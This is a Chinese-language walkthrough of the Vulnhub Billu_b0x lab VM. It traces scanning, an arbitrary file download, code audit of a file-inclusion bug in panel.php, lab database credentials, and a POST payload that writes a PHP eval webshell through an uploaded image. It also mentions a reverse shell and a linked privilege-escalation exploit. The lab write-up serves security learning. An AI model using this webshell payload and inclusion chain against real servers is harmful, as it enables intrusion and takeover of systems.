环境搭建
https://download.vulnhub.com/billu/Billu_b0x.zip
hash:ebcb435522917a67b54274900b37c6af
开搞
首先nmap开路

访问http://192.168.14.149/

向世界上最帅老男人致敬
查看HTML源码并没什么*用,SQLmap无果后遍历目录

访问http://192.168.14.149/test.php报错缺少参数file

尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计。

审计
主页登录成功后跳转至panel.php查看panel.php源码第33行起,当load为非add与show时可构造任意文件包含攻击
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
文件上传验证文件后缀与文件类型,经测试无法构造绕过。
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
利用
c.php中找到数据库账号密码billu/b0x_billu,登录phpmyadmin找到用户名口令

登录成功后上传图片马到uploaded_images/目录下构造payload如下
POST /panel.php
continue=&load=uploaded_images/trial.png&trial=file_put_contents('test.php','<?php @eval($_POST[test]);?>');
菜刀连接uploaded_images/test.php查看版本

反弹shell

提权

https://www.exploit-db.com/exploits/37292/
写入免密密匙 然后。。就没有然后了

本文档详细介绍了在Vulnhub上进行的Billu_b0x靶机挑战。首先通过nmap进行端口扫描,接着审计HTML源码和使用SQLmap。发现任意文件下载漏洞,继而进行代码审计,揭示了文件包含攻击的可能性。尽管遇到了文件上传验证的阻碍,但最终成功获取数据库凭证,并利用phpmyadmin登录。通过上传图片马和构造payload,实现了远程连接和shell反弹,为进一步提权奠定了基础。
1424

被折叠的 条评论
为什么被折叠?



